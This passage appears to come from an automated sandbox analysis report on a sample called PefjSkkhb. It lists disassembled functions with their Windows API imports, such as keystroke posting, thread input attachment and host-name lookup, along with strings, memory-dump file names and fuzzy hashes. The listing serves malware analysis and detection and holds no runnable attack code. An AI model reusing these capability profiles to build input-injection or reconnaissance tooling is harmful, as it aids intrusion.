SendMessageW.USER32 ref: 00007FF7C0EBE244
GetDlgCtrlID.USER32 ref: 00007FF7C0EBE256
GetParent.USER32 ref: 00007FF7C0EBE267
SendMessageW.USER32 ref: 00007FF7C0EBE27B
GetDlgCtrlID.USER32 ref: 00007FF7C0EBE287
GetParent.USER32 ref: 00007FF7C0EBE296
SendMessageW.USER32 ref: 00007FF7C0EBE2AA

Strings

ComboBox, xrefs: 00007FF7C0EBE1C6
ListBox, xrefs: 00007FF7C0EBE1FF

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
Instruction ID: 377144f7a23d6feacbc53841069464327688ce50cb370a94a6c01ed2c78821b0
Opcode Fuzzy Hash: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
Instruction Fuzzy Hash: 0E31B031A0DA8182EB10BF15E9541B9E361BF88FB0F844131DE9D83795DF2CF54587A0

Function 00007FF7C0EBE08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC0730: GetClassNameW.USER32 ref: 00007FF7C0EC075B

SendMessageW.USER32 ref: 00007FF7C0EBE125
GetDlgCtrlID.USER32 ref: 00007FF7C0EBE137
GetParent.USER32 ref: 00007FF7C0EBE148
SendMessageW.USER32 ref: 00007FF7C0EBE15C
GetDlgCtrlID.USER32 ref: 00007FF7C0EBE168
GetParent.USER32 ref: 00007FF7C0EBE177
SendMessageW.USER32 ref: 00007FF7C0EBE18B

Strings

ComboBox, xrefs: 00007FF7C0EBE0A6
ListBox, xrefs: 00007FF7C0EBE0DF

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
Instruction ID: 7e4ca0f27cfbec2301590a491ccda0d6efc8c6875282afe7c370d8c991ca519f
Opcode Fuzzy Hash: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
Instruction Fuzzy Hash: 1631AF31A0DA8182EB10BF15E8141B9E361BF89FB0F844232DEAD877D5DF2CE54587A0

Function 00007FF7C0ECCA98 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF7C0ECCAB8
gethostname.WSOCK32 ref: 00007FF7C0ECCAD0
gethostbyname.WSOCK32 ref: 00007FF7C0ECCADB
wcscpy.LIBCMT ref: 00007FF7C0ECCB12
inet_ntoa.WSOCK32 ref: 00007FF7C0ECCB38
wcscpy.LIBCMT ref: 00007FF7C0ECCB61
WSACleanup.WSOCK32 ref: 00007FF7C0ECCB6E
wcscpy.LIBCMT ref: 00007FF7C0ECCB80

Strings

0.0.0.0, xrefs: 00007FF7C0ECCB08

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: wcscpy$CleanupStartupgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 2479661705-3771769585
Opcode ID: c022dea36b0d6b041929f70b141b9e152a2f360cd32598783c827dc949a89afb
Instruction ID: 3383e226eecea2b0f62ffc2bce3cb65f9a719936b955a620d2302d636eb7bc89
Opcode Fuzzy Hash: c022dea36b0d6b041929f70b141b9e152a2f360cd32598783c827dc949a89afb
Instruction Fuzzy Hash: E4215E61A8C98281EA24BF15E9453BDE360BF94BA4FC04135D64E867A5DF6CF984C3A0

Function 00007FF7C0F00D7C Relevance: 15.2, APIs: 10, Instructions: 209windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52A54: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52A71

PostMessageW.USER32 ref: 00007FF7C0F00DEE
GetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7C0F00DFF
GetDlgCtrlID.USER32 ref: 00007FF7C0F00E0C
GetMenuItemInfoW.USER32 ref: 00007FF7C0F00F43
GetMenuItemCount.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7C0F00F61
GetMenuItemID.USER32 ref: 00007FF7C0F00F76
GetMenuItemInfoW.USER32 ref: 00007FF7C0F00FB1
GetMenuItemInfoW.USER32 ref: 00007FF7C0F00FFC
CheckMenuRadioItem.USER32 ref: 00007FF7C0F01033

Part of subcall function 00007FF7C0EFFB28: IsWindow.USER32 ref: 00007FF7C0EFFBED
Part of subcall function 00007FF7C0EFFB28: IsWindowEnabled.USER32 ref: 00007FF7C0EFFBFA

DefDlgProcW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7C0F0106A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ItemMenu$InfoWindow$CheckCountCtrlEnabledFocusLongMessagePostProcRadio
String ID:
API String ID: 2672075419-0
Opcode ID: 5fa25485af76456d7d7e616ea4c07056e60c9aaa2ebc56c0ea0a72266ee9f790
Instruction ID: 0e54133614bd1ada43f495ddcefddc211f41306e9019f2d87e71a8a1af970240
Opcode Fuzzy Hash: 5fa25485af76456d7d7e616ea4c07056e60c9aaa2ebc56c0ea0a72266ee9f790
Instruction Fuzzy Hash: 6F91A036B0C6528AEB60AF61D4443BDA3A1FB44BACF900035DE0D93789CF38F48583A0

Function 00007FF7C0EC92E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EC9318
GetForegroundWindow.USER32(?,?,?,00007FF7C0EC80FE), ref: 00007FF7C0EC9329
GetWindowThreadProcessId.USER32 ref: 00007FF7C0EC9334
AttachThreadInput.USER32(?,?,?,00007FF7C0EC80FE), ref: 00007FF7C0EC9348
GetWindowThreadProcessId.USER32 ref: 00007FF7C0EC935E
AttachThreadInput.USER32(?,?,?,00007FF7C0EC80FE), ref: 00007FF7C0EC937A
AttachThreadInput.USER32(?,?,?,00007FF7C0EC80FE), ref: 00007FF7C0EC9393
AttachThreadInput.USER32(?,?,?,00007FF7C0EC80FE), ref: 00007FF7C0EC93D2
AttachThreadInput.USER32(?,?,?,00007FF7C0EC80FE), ref: 00007FF7C0EC93ED
AttachThreadInput.USER32(?,?,?,00007FF7C0EC80FE), ref: 00007FF7C0EC9400

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction ID: cad5dcb2917a43f6b02216cffce2194f1b4e4f0432bde13c8c2aeac07a0ded80
Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction Fuzzy Hash: E1316334B0C65286E755BF69A444639F2A2BB447A4F905534CC0AC3754DF7DF88586A0

Function 00007FF7C0EBE908 Relevance: 15.1, APIs: 10, Instructions: 59keyboardsleepwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC03F8: GetWindowThreadProcessId.USER32 ref: 00007FF7C0EC0414
Part of subcall function 00007FF7C0EC03F8: GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EC041C
Part of subcall function 00007FF7C0EC03F8: AttachThreadInput.USER32(?,?,?,00007FF7C0EBE921), ref: 00007FF7C0EC0441

MapVirtualKeyW.USER32 ref: 00007FF7C0EBE92C
PostMessageW.USER32 ref: 00007FF7C0EBE947
Sleep.KERNEL32 ref: 00007FF7C0EBE94F
MapVirtualKeyW.USER32 ref: 00007FF7C0EBE959
MapVirtualKeyW.USER32 ref: 00007FF7C0EBE964
PostMessageW.USER32 ref: 00007FF7C0EBE982
Sleep.KERNEL32 ref: 00007FF7C0EBE98A
MapVirtualKeyW.USER32 ref: 00007FF7C0EBE994
PostMessageW.USER32 ref: 00007FF7C0EBE9B6
Sleep.KERNEL32 ref: 00007FF7C0EBE9BE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
String ID:
API String ID: 685491774-0
Opcode ID: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
Instruction ID: 0aea2de766804d83cac725849cfde9317e5c311fbec6d4968dd28152604d5acc
Opcode Fuzzy Hash: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
Instruction Fuzzy Hash: 3D118E35B0C51282F705BF66A85856A6261BFCCFA4F805039CA0A8BB50DF7DE09487A0

Function 00007FF7C0EBF7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON

Download Yara Rule

Strings

INSTANCE, xrefs: 00007FF7C0EBFCC3, 00007FF7C0EBFCD4
REGEXPCLASS, xrefs: 00007FF7C0EBF988, 00007FF7C0EBF99D
TEXT, xrefs: 00007FF7C0EBFD2F, 00007FF7C0EBFD40
NAME, xrefs: 00007FF7C0EBFAA9, 00007FF7C0EBFABA
CLASSNN, xrefs: 00007FF7C0EBF924, 00007FF7C0EBF935
CLASS, xrefs: 00007FF7C0EBF8A8, 00007FF7C0EBF8D1

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 0-1603158881
Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction ID: ba13a836f5d301d252db540d1e67f8c75ddb0b8824807a2a45a39d05dc02afd4
Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction Fuzzy Hash: 9512A262B5866392EA68BF34C8652F9E290BF54764FC44631CE1DC6390EF7CF584C2A4

Function 00007FF7C0EE767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF7C0EE77E3
VariantInit.OLEAUT32 ref: 00007FF7C0EE7920
VariantClear.OLEAUT32 ref: 00007FF7C0EE792A

Strings

_NewEnum, xrefs: 00007FF7C0EE76AB
Null Object assignment in FOR..IN loop, xrefs: 00007FF7C0EE799D
get__NewEnum, xrefs: 00007FF7C0EE76D1
Incorrect Object type in FOR..IN loop, xrefs: 00007FF7C0EE78FC

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Variant$Init$Clear
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
API String ID: 3467423407-1765764032
Opcode ID: a0470de27205f542ebe67e6bc39c13d5e7d83ba962feb8b7bffed10a95e69b5b
Instruction ID: b6ed1c6cfa923cfb32d77b7e8317b2fab7bffd36f35bb293733096767224fc00
Opcode Fuzzy Hash: a0470de27205f542ebe67e6bc39c13d5e7d83ba962feb8b7bffed10a95e69b5b
Instruction Fuzzy Hash: 5EA1D332A08B4586EB10FF66E4405ADB7A0FB88BA8F854132DE9D83754DF3CE545C790

Function 00007FF7C0EFA350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SendMessageW.USER32 ref: 00007FF7C0EFA461
SendMessageW.USER32 ref: 00007FF7C0EFA47A
SetWindowPos.USER32 ref: 00007FF7C0EFA4A7
wcscat.LIBCMT ref: 00007FF7C0EFA509
SendMessageW.USER32 ref: 00007FF7C0EFA51D
SendMessageW.USER32 ref: 00007FF7C0EFA54E

Strings

SysListView32, xrefs: 00007FF7C0EFA3B0
-----, xrefs: 00007FF7C0EFA4FB

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStockwcscat
String ID: -----$SysListView32
API String ID: 2361508679-3975388722
Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction ID: c4ef3d9a7dedc4b26e862551c0bf543708e0f1097488c5e1ebb2a1c41e042645
Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction Fuzzy Hash: BC51B332A047918AE720EF65D8446DEB3B5FB84798F80413AEE4D87B55CF39E594CB80

Function 00007FF7C0EBE2CC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF7C0EBE2DF
GetClassNameW.USER32 ref: 00007FF7C0EBE2F6

Part of subcall function 00007FF7C0E78E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E78E4F

SendMessageW.USER32 ref: 00007FF7C0EBE386

Strings

smallicons, xrefs: 00007FF7C0EBE34A
largeicons, xrefs: 00007FF7C0EBE314
list, xrefs: 00007FF7C0EBE365
SHELLDLL_DefView, xrefs: 00007FF7C0EBE2FC
details, xrefs: 00007FF7C0EBE32F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 2019164449-3381328864
Opcode ID: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction ID: b8d4ff95fda8e5ee92dfb4c011bc0cc79b24c3310e9983573d95c99732bba480
Opcode Fuzzy Hash: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
Instruction Fuzzy Hash: C9214F21B5C90380FA60BF25E954679A3A0AF91BE8F804136CE0DC7795EF6CF54687E4

Function 00007FF7C0EE7054 Relevance: 13.9, APIs: 9, Instructions: 373COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7C0EE7168
FreeLibrary.KERNEL32 ref: 00007FF7C0EE71A9
QueryPathOfRegTypeLib.OLEAUT32 ref: 00007FF7C0EE73B2
SysFreeString.OLEAUT32 ref: 00007FF7C0EE73E7
StringFromGUID2.OLE32 ref: 00007FF7C0EE7585

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FreeString$FileFromLibraryModuleNamePathQueryType
String ID:
API String ID: 1903627254-0
Opcode ID: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
Instruction ID: 849b3b96e54bb8f6649f0fd92220d530042e8b543a2ff7edb3c645451d484450
Opcode Fuzzy Hash: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
Instruction Fuzzy Hash: 7F028262A58A8681DB50EF26D4441ADB770FB84FA8F904032DF9E87764DF3CE649C790

Function 00007FF7C0EFC324 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7C0EFC40A
ShowWindow.USER32(00000000,?,?,00007FF7C0E9DF87), ref: 00007FF7C0EFC449
ShowWindow.USER32 ref: 00007FF7C0EFC457
SetFocus.USER32 ref: 00007FF7C0EFC460

Part of subcall function 00007FF7C0EFE7D4: DeleteObject.GDI32 ref: 00007FF7C0EFE82A

GetWindowLongW.USER32 ref: 00007FF7C0EFC4A8
SetWindowLongPtrW.USER32 ref: 00007FF7C0EFC4BD
InvalidateRect.USER32(00000000,?,?,00007FF7C0E9DF87), ref: 00007FF7C0EFC4F7
SendMessageW.USER32 ref: 00007FF7C0EFC536
SendMessageW.USER32 ref: 00007FF7C0EFC54A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction ID: ff80490076cb52c0e16ff2eda12c0d65e311375992adb558d19223e819b7dba6
Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction Fuzzy Hash: FD619121A8C5468AE724BE2589507BA9251BB807F8FE08431DA1D82795CF7DF48493A0

Function 00007FF7C0EBD780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7C0EBD7A2
HeapAlloc.KERNEL32 ref: 00007FF7C0EBD7B4
GetCurrentProcess.KERNEL32 ref: 00007FF7C0EBD7BD
GetCurrentProcess.KERNEL32 ref: 00007FF7C0EBD7C6
DuplicateHandle.KERNEL32 ref: 00007FF7C0EBD7EA
GetCurrentProcess.KERNEL32 ref: 00007FF7C0EBD7F0
GetCurrentProcess.KERNEL32 ref: 00007FF7C0EBD7F9
DuplicateHandle.KERNEL32 ref: 00007FF7C0EBD81E
CreateThread.KERNEL32 ref: 00007FF7C0EBD844

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction ID: 249b0e93ab2f8c1c0ef7d7757773fd53708b3d89948a93e30e008864950a58af
Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction Fuzzy Hash: 2F213C76519B4182E710DF52E44836AB7A0FB89FEAF844125DE8D43B54CF7DE1888B50

Function 00007FF7C0E92650 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7C0E92673

Part of subcall function 00007FF7C0E91C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E91C54

_get_daylight.LIBCMT ref: 00007FF7C0E92684

Part of subcall function 00007FF7C0E91BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E91BF4

_get_daylight.LIBCMT ref: 00007FF7C0E92695

Part of subcall function 00007FF7C0E91C10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E91C24

Part of subcall function 00007FF7C0E8B3C0: RtlFreeHeap.NTDLL ref: 00007FF7C0E8B3D6
Part of subcall function 00007FF7C0E8B3C0: GetLastError.KERNEL32 ref: 00007FF7C0E8B3E8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0E928F5), ref: 00007FF7C0E926BC
WideCharToMultiByte.KERNEL32 ref: 00007FF7C0E92752
WideCharToMultiByte.KERNEL32 ref: 00007FF7C0E9279E

Strings

?, xrefs: 00007FF7C0E92791

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
